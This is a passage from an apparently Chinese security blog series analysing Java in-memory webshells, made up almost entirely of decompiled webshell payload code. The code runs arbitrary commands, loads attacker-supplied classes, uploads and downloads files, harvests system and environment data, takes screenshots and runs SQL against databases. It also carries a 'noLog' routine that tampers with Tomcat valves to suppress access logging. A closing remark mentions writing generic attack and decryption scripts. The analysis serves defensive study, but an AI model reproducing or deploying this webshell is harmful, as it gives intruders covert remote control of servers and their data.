从零开始的内存马分析——如何骑马反杀（文末抽奖）（二）下（2）
【摘要】 var5.append(var6.getMessage()); return var5.toString().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); ...
var5.append(var6.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] copyFile() { String var1 = this.get("srcFileName"); String var2 = this.get("destFileName"); if (var1 != null && var2 != null) {
File var3 = new File(var1);
File var4 = new File(var2); try { if (var3.exists() && var3.isFile()) {
FileInputStream var5 = new FileInputStream(var3);
FileOutputStream var6 = new FileOutputStream(var4);
byte[] var7 = new byte[5120]; int var8; while((var8 = var5.read(var7)) > -1) {
var6.write(var7, 0, var8);
}
var5.close();
var6.close(); return "ok".getBytes();
} else { return "The target does not exist or is not a file".getBytes();
}
} catch (Exception var9) { return var9.getMessage().getBytes();
}
} else { return "No parameter srcFileName,destFileName".getBytes();
}
} public byte[] include() {
byte[] var1 = this.getByteArray("binCode"); String var2 = this.get("codeName"); if (var1 != null && var2 != null) { try {
CollectorBase var3 = new CollectorBase(this.getClass().getClassLoader()); Class var4 = var3.defineClass(var1); this.session.put(var2, var4); return "ok".getBytes();
} catch (Exception var5) { return this.session.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes();
}
} else { return "No parameter binCode,codeName".getBytes();
}
} public byte[] execCommand() { String var1 = this.get("argsCount"); if (var1 != null && var1.length() > 0) { int var2 = Integer.parseInt(var1); String[] var3 = new String[var2]; for(int var4 = 0; var4 < var3.length; ++var4) {
var3[var4] = this.get("arg-" + var4);
} try {
Process var11 = Runtime.getRuntime().exec(var3); if (var11 == null) { return "Unable to start process".getBytes();
} else {
InputStream var12 = var11.getInputStream();
InputStream var6 = var11.getErrorStream();
ByteArrayOutputStream var7 = new ByteArrayOutputStream(1024);
byte[] var8 = new byte[1042]; int var9; if (var12 != null) { while((var9 = var12.read(var8)) > 0) {
var7.write(var8, 0, var9);
}
} if (var6 != null) { while((var9 = var6.read(var8)) > 0) {
var7.write(var8, 0, var9);
}
} return var7.toByteArray();
}
} catch (Exception var10) {
StringBuffer var5 = new StringBuffer();
var5.append("Exception errMsg:");
var5.append(var10.getMessage()); return var5.toString().getBytes();
}
} else { return "No parameter argsCount".getBytes();
}
} public byte[] getBasicsInfo() { String var1 = ""; try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n";
var1 = var1 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; String var9; try {
var9 = System.getProperty("java.io.tmpdir");
char var4 = var9.charAt(var9.length() - 1); if (var4 != '\\' && var4 != '/') {
var9 = var9 + File.separator;
}
var1 = var1 + "TempDirectory : " + var9 + "\n";
} catch (Exception var7) {
}
var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try {
var1 = var1 + "OsInfo : os.name: " + System.getProperty("os.name") + " os.version: " + System.getProperty("os.version") + " os.arch: " + System.getProperty("os.arch") + "\n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "\n";
} for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var9 + " : " + System.getProperty(var9) + "\n") {
var9 = (String)var2.nextElement();
}
Map var11 = this.getEnv(); String var10; if (var11 != null) { for(Iterator var5 = var11.keySet().iterator(); var5.hasNext(); var1 = var1 + var10 + " : " + var11.get(var10) + "\n") {
var10 = (String)var5.next();
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
} public byte[] screen() { try {
Robot var1 = new Robot();
BufferedImage var6 = var1.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
ImageIO.write(var6, "png", ImageIO.createImageOutputStream(var3));
byte[] var4 = var3.toByteArray();
var3.close(); return var4;
} catch (Throwable var5) {
StringBuffer var2 = new StringBuffer();
var2.append("Exception errMsg:");
var2.append(var5.getMessage()); return var2.toString().getBytes();
}
} public byte[] execSql() throws Exception { String var1 = this.get("dbCharset"); String var2 = this.get("jdbcURL"); String var3 = this.get("dbDriver"); String var4 = this.get("dbUsername"); String var5 = this.get("dbPassword"); String var6 = this.get("execType"); if (var1 == null || var1.trim().length() > 0) {
var1 = "UTF-8";
} String var7 = new String(this.getByteArray("execSql"), var1);
HashMap var8 = new HashMap(); if (var4 != null && var5 != null && var6 != null && var7 != null) { try { try { if (var3 != null) { Class.forName(var3);
}
} catch (Throwable var30) {
} try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
} catch (Throwable var29) {
} try { Class.forName("oracle.jdbc.driver.OracleDriver");
} catch (Throwable var28) { try { Class.forName("oracle.jdbc.OracleDriver");
} catch (Throwable var27) {
}
} try { Class.forName("com.mysql.cj.jdbc.Driver");
} catch (Throwable var26) { try { Class.forName("com.mysql.jdbc.Driver");
} catch (Throwable var25) {
}
} try { Class.forName("org.postgresql.Driver");
} catch (Throwable var24) {
} if (var2 != null) { try {
Connection var9 = null; try {
var9 = getConnection(var2, var4, var5);
} catch (Exception var23) {
} if (var9 == null) {
var9 = DriverManager.getConnection(var2, var4, var5);
}
Statement var10 = var9.createStatement(); if (var6.equals("select")) {
ResultSet var11 = var10.executeQuery(var7);
ResultSetMetaData var12 = var11.getMetaData(); int var13 = var12.getColumnCount();
HashMap var14 = new HashMap(); for(int var15 = 0; var15 < var13; ++var15) {
var14.put(String.valueOf(var15), var12.getColumnName(var15 + 1));
}
var14.put("count", String.valueOf(var13));
var8.put("column", var14);
HashMap var34 = new HashMap(); int var16 = 0; for(int var17 = 0; var11.next(); ++var17) {
HashMap var18 = new HashMap(); for(int var19 = 0; var19 < var13; ++var19) { Object var20 = var11.getObject(var19 + 1); String var21 = null; if (var20 == null) {
var21 = "NULL";
} else { Class var10000 = class$2; if (var10000 == null) { try {
var10000 = Class.forName("[B");
} catch (ClassNotFoundException var22) { throw new NoClassDefFoundError(var22.getMessage());
} class$2 = var10000;
} if (var10000.isInstance(var20)) {
var21 = this.base64Encode((byte[])var20);
} else {
var21 = var20.toString();
}
}
var18.put(String.valueOf(var19), var21);
}
++var16;
var34.put(String.valueOf(var17), var18);
}
var34.put("count", String.valueOf(var16));
var8.put("rows", var34);
var11.close();
var10.close();
var9.close();
} else { int var33 = var10.executeUpdate(var7);
var10.close();
var9.close();
var8.put("errMsg", "Query OK, " + var33 + " rows affected");
}
} catch (Exception var31) {
var8.put("errMsg", var31.getMessage());
}
} else {
var8.put("errMsg", "This database is not supported");
}
} catch (Exception var32) {
var8.put("errMsg", var32.getMessage());
}
} else {
var8.put("errMsg", "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql");
} return this.serialize(var8);
} public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null && "clearup".equals(var2)) { Iterator var3 = sessionMap.values().iterator(); while(var3.hasNext()) { Object var4 = var3.next(); Class var10000 = class$0; if (var10000 == null) { try {
var10000 = Class.forName("java.util.Map");
} catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage());
} class$0 = var10000;
} if (var10000.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}
sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
} public byte[] bigFileUpload() { String var1 = this.get("fileName");
byte[] var2 = this.getByteArray("fileContents"); String var3 = this.get("position"); String var4 = "mem://"; int var5 = var3 == null ? 0 : Integer.parseInt(var3);
Constructor var6 = null; try { try { Class var10000 = class$8; if (var10000 == null) { try {
var10000 = Class.forName("java.io.RandomAccessFile");
} catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage());
} class$8 = var10000;
} Class[] var10001 = new Class[2]; Class var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage());
} class$3 = var10004;
} var10001[0] = var10004; var10004 = class$3; if (var10004 == null) { try {
var10004 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var9) { throw new NoClassDefFoundError(var9.getMessage());
} class$3 = var10004;
} var10001[1] = var10004; var6 = var10000.getConstructor(var10001);
} catch (NoSuchMethodException var12) {
var3 = null;
} if (var1.startsWith(var4)) { if (var5 == 0) {
this.session.put(var1, new ByteArrayOutputStream());
}
ByteArrayOutputStream var7 = (ByteArrayOutputStream)this.session.get(var1);
var7.write(var2);
} else if (var3 == null) {
FileOutputStream var14 = new FileOutputStream(var1, true);
var14.write(var2);
var14.flush();
var14.close();
} else {
RandomAccessFile var15 = (RandomAccessFile)var6.newInstance(var1, "rw");
var15.seek((long)var5);
var15.write(var2);
var15.close();
} return "ok".getBytes();
} catch (Exception var13) {
StringBuffer var8 = new StringBuffer();
var8.append("Exception errMsg:");
var8.append(var13.getMessage()); return var8.toString().getBytes();
}
} public byte[] bigFileDownload() { String var1 = this.get("fileName"); String var2 = this.get("mode"); String var3 = this.get("readByteNum"); String var4 = this.get("position"); String var5 = "mem://"; try { if ("fileSize".equals(var2)) { return String.valueOf((new File(var1)).length()).getBytes();
} else if ("read".equals(var2)) { int var6 = Integer.valueOf(var4); int var12 = Integer.valueOf(var3);
byte[] var8 = new byte[var12]; Object var9 = null; if (var1.startsWith(var5)) {
var9 = (InputStream)this.session.get(var1);
} else {
var9 = new FileInputStream(var1);
}
((InputStream)var9).skip((long)var6); int var10 = ((InputStream)var9).read(var8);
((InputStream)var9).close(); return var10 == var8.length ? var8 : copyOf(var8, var10);
} else { return "no mode".getBytes();
}
} catch (Exception var11) {
StringBuffer var7 = new StringBuffer();
var7.append("Exception errMsg:");
var7.append(var11.getMessage()); return var7.toString().getBytes();
}
} public static byte[] copyOf(byte[] var0, int var1) {
byte[] var2 = new byte[var1];
System.arraycopy(var0, 0, var2, 0, Math.min(var0.length, var1)); return var2;
} public Map getEnv() { try { Class var10000 = class$9; if (var10000 == null) { try {
var10000 = Class.forName("java.lang.System");
} catch (ClassNotFoundException var1) { throw new NoClassDefFoundError(var1.getMessage());
} class$9 = var10000;
} return (Map)var10000.getMethod("getenv").invoke((Object)null);
} catch (Throwable var2) { return null;
}
} public static Connection getConnection(String var0, String var1, String var2) {
Connection var3 = null; try { Class var10000 = class$10; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.DriverManager");
} catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage());
} class$10 = var10000;
} Field[] var4 = var10000.getDeclaredFields(); Field var5 = null; for(int var6 = 0; var6 < var4.length; ++var6) {
var5 = var4[var6]; if (var5.getName().indexOf("rivers") != -1) {
var10000 = class$11; if (var10000 == null) { try {
var10000 = Class.forName("java.util.List");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$11 = var10000;
} if (var10000.isAssignableFrom(var5.getType())) { break;
}
}
var5 = null;
} if (var5 != null) {
var5.setAccessible(true); List var18 = (List)var5.get((Object)null); Iterator var7 = var18.iterator(); while(var7.hasNext() && var3 == null) { try { Object var8 = var7.next();
Driver var9 = null;
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$12 = var10000;
} if (!var10000.isAssignableFrom(var8.getClass())) {
Field[] var10 = var8.getClass().getDeclaredFields(); for(int var11 = 0; var11 < var10.length; ++var11) {
var10000 = class$12; if (var10000 == null) { try {
var10000 = Class.forName("java.sql.Driver");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$12 = var10000;
} if (var10000.isAssignableFrom(var10[var11].getType())) {
var10[var11].setAccessible(true);
var9 = (Driver)var10[var11].get(var8); break;
}
}
} if (var9 != null) {
Properties var19 = new Properties(); if (var1 != null) {
var19.put("user", var1);
} if (var2 != null) {
var19.put("password", var2);
}
var3 = var9.connect(var0, var19);
}
} catch (Exception var16) {
}
}
}
} catch (Exception var17) {
} return var3;
} public String sessionId() {
byte[] var1 = this.getByteArray("sessionId"); return var1 != null ? new String(var1) : null;
} public static String getLocalIPList() {
ArrayList var0 = new ArrayList(); try { Class var1 = Class.forName("java.net.NetworkInterface"); Method var2 = var1.getMethod("getNetworkInterfaces"); Method var3 = var1.getMethod("getInetAddresses"); Enumeration var4 = (Enumeration)var2.invoke((Object)null); while(var4.hasMoreElements()) { Object var5 = var4.nextElement();
Enumeration var6 = (Enumeration)var3.invoke(var5); while(var6.hasMoreElements()) {
InetAddress var7 = (InetAddress)var6.nextElement(); if (var7 != null) { String var8 = var7.getHostAddress();
var0.add(var8);
}
}
}
} catch (Throwable var9) {
} Iterator var10 = var0.iterator();
StringBuffer var11 = new StringBuffer();
var11.append("["); while(var10.hasNext()) { Object var12 = var10.next();
var11.append(var12.toString());
var11.append(",");
} if (var11.length() > 1) {
var11.deleteCharAt(var11.length() - 1);
}
var11.append("]"); return var11.toString();
} public String getRealPath() { String var1 = (new File("")).getAbsoluteFile() + "/"; if (this.servletRequest != null) { try {
Method var2 = this.getMethodByClass(this.servletRequest.getClass(), "getServletContext", new Class[0]); Object var3 = var2.invoke(this.servletRequest, (Object[])null); if (var3 != null) { Class var4 = var3.getClass(); Class[] var5 = new Class[1]; Class var10002 = class$3; if (var10002 == null) { try {
var10002 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var8) { throw new NoClassDefFoundError(var8.getMessage());
} class$3 = var10002;
} var5[0] = var10002; Method var6 = this.getMethodByClass(var4, "getRealPath", var5); if (var6 != null) { Object var7 = var6.invoke(var3, "/"); return var7 != null ? var7.toString() : var1;
}
}
} catch (Throwable var9) {
}
} return var1;
} public void deleteFiles(File var1) throws Exception { if (var1.isDirectory()) {
File[] var2 = var1.listFiles(); for(int var3 = 0; var3 < var2.length; ++var3) {
File var4 = var2[var3];
this.deleteFiles(var4);
}
}
var1.delete();
} Object invoke(Object var1, String var2, Object[] var3) { try {
ArrayList var4 = new ArrayList(); if (var3 != null) { for(int var5 = 0; var5 < var3.length; ++var5) { Object var6 = var3[var5]; if (var6 != null) {
var4.add(var6.getClass());
} else {
var4.add((Object)null);
}
}
}
Method var8 = this.getMethodByClass(var1.getClass(), var2, (Class[])var4.toArray(new Class[0])); return var8.invoke(var1, var3);
} catch (Exception var7) { return null;
}
}
Method getMethodByClass(Class var1, String var2, Class[] var3) {
Method var4 = null; while(var1 != null) { try {
var4 = var1.getDeclaredMethod(var2, var3);
var1 = null;
} catch (Exception var5) {
var1 = var1.getSuperclass();
}
} return var4;
} public static Object getFieldValue(Object var0, String var1) throws Exception {
Field var2 = null; if (var0 instanceof Field) {
var2 = (Field)var0;
} else { Class var3 = var0.getClass(); while(var3 != null) { try {
var2 = var3.getDeclaredField(var1);
var3 = null;
} catch (Exception var4) {
var3 = var3.getSuperclass();
}
}
}
var2.setAccessible(true); return var2.get(var0);
} private byte[] readInputStream(InputStream var1, int var2) {
byte[] var3 = new byte[var2]; int var4 = 0; try { while((var4 += var1.read(var3, var4, var3.length - var4)) < var3.length) {
}
} catch (IOException var5) {
} return var3;
} public static String getRandomString(int var0) { String var1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random var2 = new Random();
StringBuffer var3 = new StringBuffer();
var3.append(var1.charAt(var2.nextInt(52)));
var1 = var1 + "0123456789"; for(int var4 = 0; var4 < var0; ++var4) { int var5 = var2.nextInt(62);
var3.append(var1.charAt(var5));
} return var3.toString();
} private void noLog(Object var1) { try {
Method var2 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null); Object var3 = var2.invoke(var1, (Object[])null); Object var4 = getFieldValue(var3, "context"); Object var5 = getFieldValue(var4, "context"); ArrayList var6; for(var6 = new ArrayList(); var5 != null; var5 = this.invoke(var5, "getParent", (Object[])null)) {
var6.add(var5);
}
label84: for(int var7 = 0; var7 < var6.size(); ++var7) { try { Object var8 = this.invoke(var6.get(var7), "getPipeline", (Object[])null); if (var8 != null) { Object var9 = this.invoke(var8, "getFirst", (Object[])null); while(true) { while(true) { if (var9 == null) { continue label84;
} if (this.getMethodByClass(var9.getClass(), "getCondition", (Class[])null) != null) { Class var10001 = var9.getClass(); Class[] var10003 = new Class[1]; Class var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage());
} class$3 = var10006;
} var10003[0] = var10006; if (this.getMethodByClass(var10001, "setCondition", var10003) != null) { String var10 = (String)this.invoke((String)var9, "getCondition", new Object[0]);
var10 = var10 == null ? "FuckLog" : var10;
this.invoke(var9, "setCondition", new Object[]{var10});
var10001 = var1.getClass();
var10003 = new Class[2]; var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage());
} class$3 = var10006;
} var10003[0] = var10006; var10006 = class$3; if (var10006 == null) { try {
var10006 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage());
} class$3 = var10006;
} var10003[1] = var10006; Method var11 = this.getMethodByClass(var10001, "setAttribute", var10003); var11.invoke(var10, var10); var9 = this.invoke(var9, "getNext", (Object[])null); continue;
}
} if (Class.forName("org.apache.catalina.Valve", false, var4.getClass().getClassLoader()).isAssignableFrom(var9.getClass())) {
var9 = this.invoke(var9, "getNext", (Object[])null);
} else {
var9 = null;
}
}
}
}
} catch (Exception var15) {
}
}
} catch (Exception var16) {
}
} public static int bytesToInt(byte[] var0) { int var1 = var0[0] & 255 | (var0[1] & 255) << 8 | (var0[2] & 255) << 16 | (var0[3] & 255) << 24; return var1;
} public static byte[] intToBytes(int var0) {
byte[] var1 = new byte[]{(byte)(var0 & 255), (byte)(var0 >> 8 & 255), (byte)(var0 >> 16 & 255), (byte)(var0 >> 24 & 255)}; return var1;
} public String base64Encode(byte[] var1) {
byte var2 = 0; int var3 = var1.length;
byte[] var4 = new byte[4 * ((var1.length + 2) / 3)];
byte var5 = -1; boolean var6 = true;
char[] var7 = toBase64; int var8 = var2; int var9 = (var3 - var2) / 3 * 3; int var10 = var2 + var9; if (var5 > 0 && var9 > var5 / 4 * 3) {
var9 = var5 / 4 * 3;
} int var11; int var12; int var13; for(var11 = 0; var8 < var10; var8 = var12) {
var12 = Math.min(var8 + var9, var10);
var13 = var8; int var15; for(int var14 = var11; var13 < var12; var4[var14++] = (byte)var7[var15 & 63]) {
var15 = (var1[var13++] & 255) << 16 | (var1[var13++] & 255) << 8 | var1[var13++] & 255;
var4[var14++] = (byte)var7[var15 >>> 18 & 63];
var4[var14++] = (byte)var7[var15 >>> 12 & 63];
var4[var14++] = (byte)var7[var15 >>> 6 & 63];
}
var13 = (var12 - var8) / 3 * 4;
var11 += var13;
} if (var8 < var3) {
var12 = var1[var8++] & 255;
var4[var11++] = (byte)var7[var12 >> 2]; if (var8 == var3) {
var4[var11++] = (byte)var7[var12 << 4 & 63]; if (var6) {
var4[var11++] = 61;
var4[var11++] = 61;
}
} else {
var13 = var1[var8++] & 255;
var4[var11++] = (byte)var7[var12 << 4 & 63 | var13 >> 4];
var4[var11++] = (byte)var7[var13 << 2 & 63]; if (var6) {
var4[var11++] = 61;
}
}
} return new String(var4);
}
}
到此，分析暂时完成，看情况分析WindowsConfig.jsp
0x04 小结
本篇我们针对内存马，通过对流量的照猫画虎和照虎画猫，编写了通用的攻击脚本，以及解密脚本，欠缺的是仍然需要burp的辅助，后续会更新工具版
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